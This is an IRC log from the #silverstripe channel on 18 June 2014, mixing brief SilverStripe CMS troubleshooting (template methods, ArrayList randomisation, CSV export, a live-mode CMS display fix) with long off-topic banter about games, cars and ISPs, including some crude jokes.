#silverstripe IRC Log

IRC log for 18 June 2014

All timestamps are in UTC.

1: [00:00:07] <Stomach> nope
2: [00:00:40] <zippy__> Ryan-Toast: If you have a function called getFoo() and in your template you have $Foo it will get called
3: [00:01:18] <Ryan-Toast> zippy__: Yarp, knew that one. Just looking through someone elses code and they have setFoo(0 so just a naming convention then.
4: [00:01:19] <zippy__> If no $Foo or $getFoo then it wont be called
5: [00:01:32] <zippy__> oh, set..
6: [00:01:35] <zippy__> duh
7: [00:01:45] * simon_w|air quit (Quit: Leaving)
8: [00:02:14] <zippy__> yea that doesn't unless they do $setFoo
9: [00:08:40] * babak quit (Quit: Connection closed for inactivity)
10: [00:11:44] * camfindlay quit (Quit: camfindlay)
11: [00:21:03] * simon_w|work has joined #silverstripe
12: [00:25:24] <simon_w|work> There we go. IRC should be on this machine.
13: [00:26:28] <simon_w|work> Going with the three vertical screens
14: [00:31:18] * antmas has joined #silverstripe
15: [00:31:25] <antmas> morning all
16: [00:31:45] <antmas> how do I return the value of a dropdown rather than the ID in a template?
17: [00:32:30] <markcl> Hi everyone. What is the equivalent of ChildrenOf function in the template in PHP?
18: [00:34:59] <simon_w|work> markcl, SiteTree::get_by_url('URL')->Children()
19: [00:35:12] <simon_w|work> You may need to check the name of the static method, but it's something like that
20: [00:35:23] <simon_w|work> Alternatively, just copy ContentController::ChildrenOf
21: [00:35:33] <antmas> simon_w|work: you remeber that datatable work I had?
22: [00:35:40] <simon_w|work> antmas, sadly, yes
23: [00:36:03] <antmas> simon_w|work: would there be a simple way to format those 'fields' for export to csv?
24: [00:36:38] <simon_w|work> antmas, you'll be nesting rows inside a row. A CSV will be nasty
25: [00:36:45] <simon_w|work> Unless you're just outputting a single field
26: [00:37:02] <antmas> simon_w|work: A single field would be fine, doesn't need to have rows.
27: [00:37:15] <antmas> I just need to get rid of the JSON formatting
28: [00:37:19] <antmas> and just get the values
29: [00:37:26] <simon_w|work> antmas, json_decode() :p
30: [00:37:40] <markcl> thanks simon_w|work
31: [00:37:51] <antmas> simon_w|work: where do I use this though?
32: [00:38:10] <simon_w|work> antmas, you'll probably need to write your own CSVExporter (or whatever the class is called)
33: [00:38:22] <simon_w|work> I think there's one for Member if you want something to copy
34: [00:38:28] <antmas> simon_w|work: could it not be done in the ext. to modeladmin?
35: [00:38:41] <spronk> three vertical screens...
36: [00:38:49] <spronk> simon_w|work: do you find that the screens are blurrier in vert pos?
37: [00:39:08] <simon_w|work> antmas, that just passes it off to the exporter
38: [00:39:15] <simon_w|work> spronk, nah, these are decent panels
39: [00:39:29] <spronk> simon_w|work: i have decent panels too, mine are way blurrier vert oriented :(
40: [00:39:38] <spronk> what you got?
41: [00:39:50] <antmas> simon_w|work: so I can't just decode there before it passes it?
42: [00:39:51] <simon_w|work> screens are S24C650
43: [00:40:00] <simon_w|work> antmas, nope. It just gets a DataList
44: [00:40:06] <antmas> feck :<
45: [00:40:15] <spronk> ah yep, sammy PLS
46: [00:40:24] * spronk will have to check out PLS then
47: [00:41:51] <spronk> tbh i think it's probably because subpixel smoothing doesn't work vertically, so i might just have to bite the bullet and go 4k
48: [00:42:05] * UncleCheese quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…)
49: [00:44:25] * caamic30 has joined #silverstripe
50: [00:45:16] * spronk has left #silverstripe
51: [01:03:48] <markcl> How do I randomize an ArrayList?
52: [01:04:40] <Ryan-Toast> markcl: There’s a Rand() method, isn’t therE?
53: [01:05:27] <markcl> Ryan-Toast: this doesnt work: return $items->sort('RAND()')->limit($limit);
54: [01:07:06] <Ryan-Toast> Does it work without the limit?
55: [01:07:43] * an_Eskimo quit (Ping timeout: 246 seconds)
56: [01:07:48] * camfindlay has joined #silverstripe
57: [01:08:03] <simon_w|work> Ryan-Toast, RAND()'s a SQL function. Kinda hard to use on ArrayList
58: [01:08:05] * camfindlay quit (Client Quit)
59: [01:08:23] <Ryan-Toast> Oh, was I thinking of DataList?
60: [01:08:26] <simon_w|work> Yes
61: [01:08:35] <simon_w|work> markcl, how random does it need to be?
62: [01:09:03] <markcl> just normally random
63: [01:09:12] * an_Eskimo has joined #silverstripe
64: [01:09:21] <simon_w|work> Like, can it just have a random offset?
65: [01:09:52] * irogue_ approves of Better Burger
66: [01:09:59] <simon_w|work> so, ->limit($limit, mt_rand(0, $items->Count() - $limit -1))?
67: [01:10:20] <simon_w|work> (or the other way around. Can't remember if SS swaps the order)
68: [01:11:29] * camfindlay has joined #silverstripe
69: [01:11:30] <zippy__> If you have less than 5k records just use the mysql rand...
70: [01:12:43] <zippy__> otherwise maybe look at that array_rand..
71: [01:14:35] * camfindlay quit (Client Quit)
72: [01:19:47] * spronk has joined #silverstripe
73: [01:20:21] <spronk> man
74: [01:20:24] <spronk> what the fuck agilebits
75: [01:20:31] <spronk> 1password 4 extension on windows looks like balls and uses popup windows :/
76: [01:21:45] <irogue_> spronk: mac dev trying to windows
77: [01:24:14] <spronk> but
78: [01:24:18] <spronk> 1password 3 extension was nice as
79: [01:29:13] * Tanger has joined #silverstripe
80: [01:40:05] <Colin[pi]> omg hai antmas
81: [01:40:19] * antmas quit (Quit: Page closed)
82: [01:41:11] <guzzlefry> :(
83: [01:41:19] <Colin[pi]> :o
84: [01:41:26] <irogue_> burn
85: [01:41:31] <Colin[pi]> ;(
86: [01:44:04] <Stomach> lol, so rough
87: [01:44:06] <simon_w|work> Don't worry Colin[pi], you can visit me in Mitchell!
88: [01:44:14] <simon_w|work> Only a 45 minute bus outside of peak :p
89: [01:44:45] <Colin[pi]> simon_w|work: oh that's right you're up there now :o
90: [01:45:02] <Colin[pi]> Mitchell is Canberra's "arse end of nowhere" - did you notice
91: [01:45:15] <Ryan-Toast> The new TF2 short is so good: https://www.youtube.com/watch?v=GLlLQ3LmZWU
92: [01:45:22] <simon_w|work> Colin[pi], almost. You can go further along the 200 route :p
93: [01:48:52] * Kingy[a] is now known as Kingy
94: [01:52:04] <Stomach> Ryan-Toast, checked out the compendium value recently? 9.6million
95: [01:52:06] <Stomach> holy shitballs.
96: [01:52:32] <Colin[pi]> simon_w|work: going to Mitchell or Fyshwick for me feels like visiting Mos Eisley
97: [01:52:47] <Ryan-Toast> Stomach: Yarp, waiting for new stretch goals
98: [01:53:04] <Colin[pi]> "You will never find a more wretched hive of scum and villainy"
99: [01:53:16] <Stomach> Ryan-Toast, its crazy, winning team will probably pocket almost a million each
100: [01:53:20] <Stomach> o_O
101: [01:53:46] <simon_w|work> Colin[pi], you're just jealous that they're allowed hookers
102: [01:53:54] <Colin[pi]> simon_w|work: NU UH
103: [01:54:10] <Colin[pi]> they used to have hookers at Mitchell, not sure if they still do
104: [01:54:17] <Ryan-Toast> Stomach: Hopefully they switch up the distribution this year.
105: [01:54:17] <simon_w|work> Wiki says they do
106: [01:54:23] <Colin[pi]> lol
107: [01:54:36] <Ryan-Toast> Stomach: Once the Pudge mini courier is release that will bump up compendium sales heaps.
108: [01:54:58] <Stomach> yeah I am _almost_ tempted to get one now
109: [01:55:08] <Ryan-Toast> You don’t have one?
110: [01:55:15] <Ryan-Toast> Boo, Stomach.
111: [01:55:18] <Ryan-Toast> Boooooo
112: [01:55:24] <Ryan-Toast> Shun the non believer
113: [01:55:27] <Stomach> lol
114: [01:55:33] <Stomach> whats better than free? FREEEEEE
115: [01:55:38] <Ryan-Toast> My compendium is like level 200
116: [01:55:55] <Ryan-Toast> I get an item every two games, it’s nice.
117: [01:59:21] <Stomach> ive only got 24 hours game time in dota2
118: [01:59:25] <Stomach> and most of that is probably watching
119: [01:59:45] <Ryan-Toast> I only have 757
120: [02:00:28] <irogue_> lawl
121: [02:00:39] <Ryan-Toast> Stomach: When immortal chests dropped: http://steamcommunity.com/sharedfiles/filedetails/?id=265523840
122: [02:01:06] <Stomach> holy shit
123: [02:01:09] <Stomach> got some rares
124: [02:01:10] <Stomach> :D
125: [02:01:27] <Stomach> lol my steam profile is pretty sad reading
126: [02:01:27] <Stomach> http://steamcommunity.com/id/stomach/games/?tab=all
127: [02:01:44] <Stomach> been neglecting the poor wee guy
128: [02:03:52] <Ryan-Toast> Stomach: My inventory http://dotagon.com/inventory/76561198036619527
129: [02:04:23] <irogue_> i don't game enough anymore http://steamcommunity.com/id/irogue/games/?tab=all
130: [02:05:22] <Stomach> gaming time is all spent reading now
131: [02:05:41] <Ryan-Toast> I read on the weekdays, game on the weekends.
132: [02:05:44] <Stomach> gotta finish the enders game series before my missus finishes book one to teach her a lesson
133: [02:06:50] <zippy__> irogue: "Cities in Motion" any good?
134: [02:06:56] <Ryan-Toast> Can’t wait for this game! https://www.youtube.com/watch?v=P9773c6V29g
135: [02:07:08] * krofek quit (Ping timeout: 252 seconds)
136: [02:07:26] <Stomach> why did i just click that
137: [02:07:29] <Stomach> :(
138: [02:07:32] * krofek has joined #silverstripe
139: [02:07:56] <zippy__> awesome
140: [02:08:42] <simon_w|work> Weeeee, building on this machine is so much faster
141: [02:08:49] <irogue_> zippy__: very yes
142: [02:08:51] <irogue_> but don't bother with 2
143: [02:08:54] <irogue_> it's major downhill
144: [02:09:19] <irogue_> should be able to pick the original up pretty cheap now tho
145: [02:09:20] <Stomach> lol
146: [02:09:34] * Stomach has an image of simon_w|work with lego on top of his machine furiously making a building
147: [02:09:44] <zippy__> irogue_: much better than Tropico 4?
148: [02:09:47] <simon_w|work> Stomach, the lego's in the corner
149: [02:09:57] <irogue_> zippy__: depends what you're into
150: [02:10:05] <irogue_> CiM is all about building a public transit network
151: [02:10:18] <Stomach> simon_w|work, all we have in the corner is the designers :(
152: [02:10:19] <irogue_> Tropico is more like SimCity
153: [02:10:32] <simon_w|work> Stomach, I'm not sure we have designers here...
154: [02:10:39] <irogue_> right now we have an UncleCheese and a Tim in the corner
155: [02:10:50] <Stomach> simon_w|work, you mean you work at a real development shop? wow. go you!
156: [02:10:51] <simon_w|work> Though, once I get my LEGO out of storage, it's going to pwn the stuff here
157: [02:11:04] <simon_w|work> Stomach, we've got sales and support teams!
158: [02:11:12] <Stomach> oh, ruts
159: [02:11:16] <Stomach> sorry to hear it
160: [02:11:25] <simon_w|work> Means I don't have to do it :p
161: [02:12:56] <Stomach> irogue_, you should put the word "Rocco" on a bit of paper, staple it to your shirt and then go and bark at Aaron
162: [02:12:56] <Ryan-Toast> I thought the Kim Kardashian game was going to be about Hobbits
163: [02:13:09] <irogue_> Stomach: o_O
164: [02:13:45] <Stomach> irogue_, don't worry, he'll understand
165: [02:13:51] <irogue_> lol
166: [02:14:01] <irogue_> I think Sam would look at me disapprovingly
167: [02:14:13] <Stomach> oh you're still on trial aren't you. ruts.
168: [02:17:03] <Stomach> I think I'm just gonna sit quietly tonight
169: [02:17:15] <irogue_> Stomach: not even trial, i'm a contractor :P
170: [02:17:35] <Stomach> oh then you can do what you want! wear a dress to work!
171: [02:18:12] <simon_w|work> Eh, ss23's already done that
172: [02:18:43] <Stomach> wear a suit to work then
173: [02:18:46] <Stomach> that'll really throw them off
174: [02:20:30] <irogue_> lol
175: [02:20:39] <irogue_> there's a few people here in suits today
176: [02:21:00] <irogue_> all sales/management folk, of course
177: [02:21:09] <irogue_> us devs are all in our uniform shirts
178: [02:21:31] <irogue_> Stomach: you coming this arvo?
179: [02:22:36] <Stomach> why are you all in uniform shirts :S
180: [02:22:39] <Stomach> yeah I am
181: [02:23:07] * DesignerX has joined #silverstripe
182: [02:23:15] <irogue_> Stomach: cos meetup
183: [02:23:24] <irogue_> representin'
184: [02:23:47] <Stomach> is it supposed to overawe the proles or something
185: [02:24:16] <zippy__> any other good html email test service like litmus?
186: [02:24:16] <simon_w|work> Colin[pi], it's looking like I won't be able to do the first Wednesday in August. Can do later that week or the next though.
187: [02:24:42] <Colin[pi]> simon_w|work: k no worries, we can reschedule I'm sure
188: [02:25:32] <simon_w|work> Colin[pi], should we post something to the meetup group at some point?
189: [02:25:52] <Colin[pi]> simon_w|work: maaaaybe?
190: [02:27:11] * novaweb has joined #silverstripe
191: [02:27:12] <simon_w|work> Colin[pi], do eeet
192: [02:32:20] * UncleCheese has joined #silverstripe
193: [02:32:39] <Stomach> woof, woof?
194: [02:34:35] <Colin[pi]> lol I love this guy's videos: https://www.youtube.com/watch?v=QQyLVJeFpTA
195: [02:34:45] <Colin[pi]> the only thing I can do about our govt now is laugh
196: [02:34:54] <novaweb> Just deployed 3.1.4 to live and when I have the site in dev mode the back end is sweet. but when in live it looks like this: http://tinypic.com/r/1z65d6s/8 has anybody seen anything like this?
197: [02:37:47] <guzzlefry> Do you have any modules installed that might mess with the CMS?
198: [02:38:04] <novaweb> silverchimp...
199: [02:38:21] <novaweb> hierarchicalcheckboxsetfield
200: [02:38:30] <novaweb> aaaand iframe
201: [02:38:50] <novaweb> I tried removing and running dev/build one by one but no luck.
202: [02:39:37] <guzzlefry> I can't think of any reason why dev and live would differ...
203: [02:39:44] <novaweb> mmm im stumped.
204: [02:40:08] * ss23 quit (Ping timeout: 252 seconds)
205: [02:40:46] <guzzlefry> I would load the CMS in both dev and live, pull the HTML via Firebug/Chrome Debug Console (So you get any alterations caused by Javascript), and compare.
206: [02:40:49] * ss23 has joined #silverstripe
207: [02:47:18] <spronk> ughh
208: [02:47:28] <spronk> when is enable going to announce their >july 2014 rollout plan :@
209: [02:47:31] <zippy__> Colin[pi]: hahahaha
210: [02:47:48] <Stomach> spronk, enable the disability resource centre?
211: [02:47:55] <Colin[pi]> zippy__: the video?
212: [02:48:00] <zippy__> yup
213: [02:48:09] <Colin[pi]> zippy__: I love him, his videos are hilarious
214: [02:49:00] <simon_w|work> Aww, the internet here is only 30 times faster than what we've got at home
215: [02:49:20] <Colin[pi]> simon_w|work: run a cable to the house
216: [02:49:51] <spronk> Stomach: the fibre provider
217: [02:50:03] <Stomach> spronk, can't help you there then :D
218: [02:50:09] <spronk> ridiculous that they've only announced their residential plans to july 2014.
219: [02:50:18] <spronk> chorus have comprehensive plans for 2015 and beyond
220: [02:51:37] <novaweb> guzzlefry I have run a diff and the only difference I can see is the line that loads all the jquery files. are all the files compiled when you switch to test and live?
221: [02:52:01] <Stomach> novaweb, it might be that your assets folder isnt writable
222: [02:52:54] <irogue_> https://dl.dropboxusercontent.com/u/4618071/IMG_3811.JPG
223: [02:54:12] <novaweb> thanks Stomach, tried that. you were correct as I just did a fresh deployment but no luck yet.
224: [02:54:34] <spronk> irogue_: got any insider info? :p
225: [02:54:52] <irogue_> spronk: i'm on the outside these days :P
226: [02:55:00] <simon_w|work> irogue_, outside? WHAT'S WRONG WITH YOU LOT??
227: [02:55:01] <spronk> :(
228: [02:55:23] <guzzlefry> novaweb: So how does live mode look on the development site?
229: [02:55:35] <simon_w|work> Well, time to muck around for half an hour while compiling inside the VM
230: [02:55:35] <spronk> i dont know anyone that works at snap anymore either
231: [02:55:36] <novaweb> guzzlefry perfect
232: [02:55:39] <zippy__> novaweb: tried a different browser? tried incongnito mode incase it's a plugin
233: [02:55:54] <zippy__> maybe it's plugin which effects 'real' sites...
234: [02:56:10] <novaweb> still poked incognito
235: [02:56:24] <novaweb> have tried safari osx too.
236: [02:56:49] <guzzlefry> if it's perfect on the development site but not on production, I'd look at code differences.
237: [02:56:51] <zippy__> and the network tab of the browser shows no 404, 403, 500 etc items?
238: [02:57:12] <Stomach> novaweb, after you changed the assets to being writable, try doing a ?flush=all inside the admin
239: [02:57:15] * camfindlay has joined #silverstripe
240: [02:57:57] <novaweb> Stomach WINS!
241: [02:58:06] <Stomach> :)
242: [02:58:20] <novaweb> Chuuurrrp.
243: [03:00:48] <markcl> Im looking for a field that allows you to add in items and rearrange them, I wonder what kind of field does that
244: [03:01:12] <simon_w|work> markcl, sortable grid field
245: [03:01:36] <irogue_> spronk: you could try just tweeting Snap, RO might be able to advise
246: [03:02:40] <spronk> mm
247: [03:02:44] <markcl> Thanks simon_w|work
248: [03:02:46] <spronk> last time i did that they were all
249: [03:02:48] <spronk> ITS TOP SEKRET
250: [03:02:50] <spronk> sigh
251: [03:02:57] <spronk> hardly seems like something that should be top secret.
252: [03:03:25] <simon_w|work> Sounds like what happens when you ask Rimu for IPv6
253: [03:04:07] <zippy__> simon_w|work: whats happening with the DO hosting
254: [03:04:31] <zippy__> wooo linode have a $10 plan now
255: [03:04:35] <simon_w|work> zippy__, got two other sites to finish first :p
256: [03:04:55] <zippy__> simon_w|work: you have DO sigapore?
257: [03:05:21] <simon_w|work> For some droplets
258: [03:06:41] <zippy__> simon_w|work: pings any better than west cost US?
259: [03:07:22] <spronk> that will depend on your isp routing
260: [03:07:48] <simon_w|work> zippy__, they are from here
261: [03:10:23] <simon_w|work> zippy__, compare treeview.us to sg.hhvm.mirrors.simon.geek.nz
262: [03:12:02] * camfindlay quit (Quit: camfindlay)
263: [03:16:15] <zippy__> 191 vs 260 respectivly
264: [03:17:18] <irogue_> spronk: probably NDA that Enable insist on for some stupid reason
265: [03:18:28] * cloph quit (Ping timeout: 264 seconds)
266: [03:18:36] <irogue_> 177 vs 146
267: [03:18:42] <irogue_> uh, wait
268: [03:18:44] <irogue_> wrong way around
269: [03:18:48] <irogue_> 146 vs 177
270: [03:19:10] <irogue_> i've almost always found US to be quicker from NZ, for somewhat obvious reasons
271: [03:19:46] <spronk> vodafone us is faster
272: [03:19:49] <spronk> orcon singapore seems faster
273: [03:21:43] <irogue_> 11 hops to treeview.us (direct peer from Vorco to Hurricane Electric), 16 hops to sg.hhvm (via Global-Gateway to NT&T SG)
274: [03:21:57] <spronk> mm
275: [03:22:01] <spronk> what isp?
276: [03:22:58] * cloph_away has joined #silverstripe
277: [03:23:18] * novaweb quit (Quit: novaweb)
278: [03:27:27] <irogue_> Vorco
279: [03:29:43] * Danae has joined #silverstripe
280: [03:30:35] * camfindlay has joined #silverstripe
281: [03:38:13] * Danae quit (Ping timeout: 246 seconds)
282: [03:40:24] * camfindlay quit (Quit: camfindlay)
283: [03:40:51] <irogue_> oh god how are we gonna fit another 20 people in our office for meetup
284: [03:43:27] <simon_w|work> Lots of lubricant?
285: [03:43:45] <irogue_> simon_w|work: good thinking
286: [03:44:35] * camfindlay has joined #silverstripe
287: [03:46:13] <Ryan-Toast> antmas: hnnnnnngg: http://www.trademe.co.nz/motors/used-cars/mitsubishi/auction-742596373.htm
288: [03:46:13] <Colin[pi]> lol first thing I see looking back at the IRC window is "Lots of lubricant?" "good thinking"
289: [03:46:32] <Ryan-Toast> oh, antmas not here today ><
290: [03:46:37] * camfindlay quit (Client Quit)
291: [03:46:38] <Colin[pi]> Ryan-Toast: SPELLED NAUGHTY WRONG, FAIL
292: [03:46:46] <Ryan-Toast> DO NOT WANT SHITTY NUMBER PLATE
293: [03:47:03] <Colin[pi]> antmas was here until I said hello ;(
294: [03:47:12] <Ryan-Toast> OH GOD I WANT IT
295: [03:47:39] <Colin[pi]> ehh it's ok
296: [03:47:42] * camfindlay has joined #silverstripe
297: [03:47:56] <Ryan-Toast> Colin[pi]: shun the non believer
298: [03:47:59] <Ryan-Toast> shuuuuun
299: [03:48:07] <Colin[pi]> not much into the classics :D
300: [03:50:40] <Ryan-Toast> Colin[pi]: that’s a shame. Pretty much all new cars are all hideous.
301: [03:50:48] <spronk> agreed
302: [03:51:12] <spronk> respectable 4 door sedans these days are few and far between.
303: [03:51:15] <Colin[pi]> agreed also, I just want one of these: http://www.italiancar.net/site/features/TestDriveGTvsBrera/lg/alfaBrera_6.jpg
304: [03:51:38] <Colin[pi]> of course it'll probably only drive 20kms before breaking down..
305: [03:51:48] * spronk is still rocking his 99 torneo because he hasn't found much newer that drives nicely
306: [03:52:05] * simon_w|work is rocking his MyWay
307: [03:52:15] <Ryan-Toast> spronk: My last car was an 81.
308: [03:52:18] <Ryan-Toast> I miss it.
309: [03:52:23] <Ryan-Toast> Though bikes are fun too.
310: [03:52:42] <spronk> hmm
311: [03:52:46] <spronk> bikes too suicidal for my liking
312: [03:53:05] <Ryan-Toast> spronk: as long as you surpress some urges you’re fine.
313: [03:53:06] <Colin[pi]> spronk: mm, my gf would never let me own one
314: [03:53:32] <spronk> its not me i'd be worried about, Ryan-Toast
315: [03:54:01] <simon_w|work> No masturbating while riding?
316: [03:54:15] <simon_w|work> Safer communities together
317: [03:55:10] <spronk> the list of cars i would actually buy made int he last 10 years is quite small... honda accord euro, mazda 6 first gen, mazda 3 first gen, last gen integra, skyline 3.5 GT
318: [03:55:13] <Ryan-Toast> simon_w|work: Low gear, high speed, hard up against the fuel tank. No need for hands ( ͡° ͜ʖ ͡°)
319: [03:55:14] <spronk> maybe a focus
320: [03:55:20] <spronk> vitz rs possibly..
321: [03:55:42] <spronk> 86
322: [03:55:52] <simon_w|work> Ryan-Toast, also, no need for a vasectomy!
323: [03:55:53] <Ryan-Toast> spronk: no Gti-r love?
324: [03:56:08] <Ryan-Toast> simon_w: Which is good, because the doctors won’t give me one!
325: [03:56:09] <spronk> ...pulsar?
326: [03:56:15] <Ryan-Toast> spronk: VW
327: [03:56:17] <spronk> pj
328: [03:56:18] <spronk> oh
329: [03:56:19] <spronk> nah
330: [03:56:28] <spronk> i like golfs but i would never buy one
331: [03:56:30] <spronk> they're unreliable as fuck
332: [03:56:32] <Ryan-Toast> spronk: Much fun. Wow. Such turbo
333: [03:56:55] <Colin[pi]> spronk: all I see here... fucking.. volks. wagons
334: [03:56:58] <Colin[pi]> every fucking where
335: [03:57:01] <irogue_> I just want a Model S
336: [03:57:24] <markcl> How do I use $Link in my templates without the '/' in the end
337: [03:57:24] <irogue_> not a big ask, right?
338: [03:57:25] <spronk> i want toyota to start making decent cars again :P
339: [03:57:37] <Ryan-Toast> spronk: They’re this generations swifts
340: [03:57:41] * camfindlay quit (Quit: camfindlay)
341: [03:57:45] <spronk> hahaa
342: [03:58:01] <Ryan-Toast> Except their sports versions are like 250 horse power :P
343: [03:59:28] <spronk> everyday cars these days are just so crap
344: [03:59:43] <spronk> less economical than those from the early 2000s
345: [03:59:48] <spronk> less powerful
346: [04:00:00] <spronk> very few N/A high performance models
347: [04:00:15] <spronk> ugly as fuck 5 doors
348: [04:00:50] * spronk says no to turbo :P
349: [04:01:21] <simon_w|work> Yeah, Frozen is a much better movie :p
350: [04:02:21] <Ryan-Toast> spronk: My boss was looking for a brand new car, I got excited to help then there was literally nothing I liked.
351: [04:03:25] <spronk> its depressing
352: [04:03:35] <spronk> if i had to buy a new car i'd pretty much be going to toyota and buying an 86
353: [04:03:49] <spronk> but that's a compromise because i like 4 doors.
354: [04:04:07] <spronk> bmws would be ok if they stopped making such complex electronics
355: [04:04:25] <spronk> and were cheaper.
356: [04:06:04] <Colin[pi]> why did all cars go to those swept back almond shaped lights?
357: [04:06:14] <Colin[pi]> i.e. the ones that look like shit
358: [04:06:32] <spronk> mmlol
359: [04:08:10] <guzzlefry> the bug eye ones?
360: [04:08:33] <Colin[pi]> yeah
361: [04:08:36] <guzzlefry> Also
362: [04:08:50] <guzzlefry> The Ford Fiesta ST is the only car I'm even remotely interested in. >_>
363: [04:09:07] <spronk> fiesta?
364: [04:09:27] <Colin[pi]> ehh it's ok, but that grill
365: [04:09:29] <Ryan-Toast> spronk: an AE86?
366: [04:09:39] <Colin[pi]> ITSA ME, MARIO: http://media.caranddriver.com/images/13q1/506853/2014-ford-fiesta-st-photo-509303-s-1280x782.jpg
367: [04:09:41] <spronk> Ryan-Toast: nah, new one
368: [04:09:51] <Ryan-Toast> spronk: I think you mean AE86
369: [04:09:59] <spronk> AE86 too old now :P
370: [04:10:11] <spronk> tbh i never really liked them
371: [04:10:12] <guzzlefry> There's a new one?
372: [04:10:18] <irogue_> http://www.toyota.co.nz/our-range/86/
373: [04:10:19] <spronk> the 86 / GT86
374: [04:10:28] <guzzlefry> oh right
375: [04:10:29] <spronk> or the subaru brz
376: [04:10:36] <guzzlefry> both are kind of underpowered to me
377: [04:10:37] <irogue_> or the Scion something
378: [04:10:40] <irogue_> all the same car
379: [04:10:41] <spronk> 200hp is aaight
380: [04:10:42] <spronk> they're light
381: [04:10:57] <Ryan-Toast> spronk: there’s a place in Japan that makes them new, and you can import them.
382: [04:11:07] <Colin[pi]> jesus how fucking hideous: http://www.toyota.co.nz/Global/86/86%20RC/86RC-customiseBanner-940x240.jpg
383: [04:11:16] <spronk> haha, yeah
384: [04:11:33] <Colin[pi]> one colour or some stripes or something.. or gtfo
385: [04:11:33] <Ryan-Toast> Colin[pi]: I think they look nice when they’re the same colour./
386: [04:11:42] <Colin[pi]> Ryan-Toast: aye
387: [04:11:52] <spronk> mm
388: [04:12:08] <spronk> also, guzzlefry i hear the focus st is a nicer drive than the fiesta by quite some margin
389: [04:12:09] <Colin[pi]> hey I know, lets get each panel as a different colour <---- dafuq?
390: [04:12:25] <guzzlefry> spronk: also costs more, I'm on a budget :(
391: [04:13:39] <simon_w|work> guzzlefry, so get a bigger budget!
392: [04:14:06] * simon_w|work is a problem solver!
393: [04:14:11] <guzzlefry> ^5
394: [04:14:19] <spronk> i thought you could basically get them for the same price now
395: [04:14:49] <spronk> hmm ok, maybe not
396: [04:14:55] <guzzlefry> oh...
397: [04:15:00] <guzzlefry> well, $2.5K more
398: [04:15:09] <guzzlefry> probably worth the jump
399: [04:15:16] <simon_w|work> Colin[pi], oh, I know what you're jealous of if it's not the hookers!
400: [04:15:27] <spronk> i haven't driven the STs but the regular fiesta is a lot less precise than the regular focus
401: [04:15:29] <simon_w|work> It's the hookers with Labor's NBN
402: [04:15:33] <guzzlefry> 252 hp,* 270 lb.-ft. of torque :X
403: [04:15:36] <spronk> and gearbox is clunkier
404: [04:17:46] <spronk> hrm
405: [04:17:47] <Colin[pi]> simon_w|work: the truth hurts
406: [04:17:59] <spronk> mazda dont even sell a manual mazda3 anymore in nz
407: [04:18:25] * zippy___ has joined #silverstripe
408: [04:18:32] <simon_w|work> Colin[pi], hopefully I can get it in Belco :)
409: [04:18:57] * zippy__ quit (Ping timeout: 245 seconds)
410: [04:18:57] * zippy___ is now known as zippy__
411: [04:20:19] * caamic30 quit (Quit: caamic30)
412: [04:20:38] <spronk> http://www.mmnz.co.nz/mirage
413: [04:20:45] <spronk> i like the way the old mirage was kinda.. laid back and cool
414: [04:20:49] <spronk> and the new one is bubbly ugly frog
415: [04:20:58] <spronk> dumb MMC.
416: [04:25:01] <markcl> How do I use $Link in my templates without the '/' in the end
417: [04:25:21] <zippy__> Engine sound generator
418: [04:25:21] <zippy__> wtf
419: [04:25:31] <zippy__> http://www.toyota.co.nz/our-range/86/gt86/specifications/gt86/
420: [04:25:35] <Colin[pi]> new mirage so ugly
421: [04:26:08] <spronk> yeaahh
422: [04:26:12] <Colin[pi]> imho they got to a point about 6-8 years ago when cars looked awesome, and it's been downhill since
423: [04:26:22] <spronk> they need to hire better designers
424: [04:27:46] <guzzlefry> it could be due to fuel economy/safety stuff >_>
425: [04:28:48] <guzzlefry> https://upload.wikimedia.org/wikipedia/commons/thumb/5/52/F40ferarri20090509.jpg/1920px-F40ferarri20090509.jpg most beautiful car ever
426: [04:28:55] * zane_ has joined #silverstripe
427: [04:29:38] <zippy__> guzzlefry: mmm I think this is -> http://3bv8x43y68hc448rg43goku7yq.wpengine.netdna-cdn.com/media/2012/03/Dodge-Viper-RT10-1992.jpg
428: [04:29:53] <guzzlefry> oh yeah
429: [04:29:57] <guzzlefry> I wanted one of those as a kid. :P
430: [04:30:03] * zippy__ still does....
431: [04:30:33] <guzzlefry> but then I drove one in Gran Turismo when I was a bit older, and basically said "fuck this; no traction." :P
432: [04:30:43] <zippy__> hahahahahahaha
433: [04:30:50] <zane_> Hey Having a few problems with a clients SS website built in 2.4.3. Gives me a date/timezone error when it's clearly set in php.ini
434: [04:31:17] <zane_> also locally i can get log into admin but when i deploy on server i get a bunch of console errors
435: [04:32:26] <zippy__> zane_: whats the date time error, whats the console errors?
436: [04:32:32] <Ryan-Toast> How do I allow svg to be uploaded, without having to specify all other image types?
437: [04:32:37] <spronk> viperrrr
438: [04:32:46] <spronk> <3
439: [04:37:33] <simon_w|work> Ryan-Toast, ->getAllowedExtensions(), append svg, then setAllowedExtensions()?
440: [04:37:45] <guzzlefry> https://www.youtube.com/watch?v=8hDDBN_pIUQ&feature=youtu.be&t=2m36s
441: [04:47:46] * SightUnseen has joined #silverstripe
442: [04:47:50] * SightUnseen has left #silverstripe
443: [04:50:21] * nickmolhoek quit (Quit: nickmolhoek)
444: [04:51:33] <zane_> I think it has something to do with fastCGI?
445: [04:52:10] * UncleCheese quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…)
446: [04:53:48] <simon_w|work> Oops, almost out of disk space again
447: [05:00:36] * Ryan-Toast quit (Quit: Ryan-Toast)
448: [05:01:56] * Ryan-Toast has joined #silverstripe
449: [05:04:27] <zippy__> simon_w|work: 128gb ?
450: [05:04:49] <simon_w|work> Well, is reporting 120
451: [05:04:57] <simon_w|work> So 110 once formatted
452: [05:05:06] <simon_w|work> And each VM's 33
453: [05:05:58] <spronk> 33 each!?
454: [05:06:36] <simon_w|work> Turns out the database dumps are rather large
455: [05:06:54] <zippy__> production dumps? :O
456: [05:07:01] <simon_w|work> Probably?
457: [05:10:51] <zippy__> when ever I start a new site, I always think should I call the theme default or call it the sitename
458: [05:11:05] <zippy__> it's totally unlikely that they are going to change the theme… so why not default
459: [05:11:07] <zippy__> hrm
460: [05:11:18] * zippy__ thinks about the big problems
461: [05:12:30] <simon_w|work> Why not a wizard swear?
462: [05:12:45] <simon_w|work> site.com/themes/voldermorts_nipples/
463: [05:14:24] * UncleCheese has joined #silverstripe
464: [05:15:38] <zippy__> simon_w|work: mmm client might like that
465: [05:17:36] * Bosie has joined #silverstripe
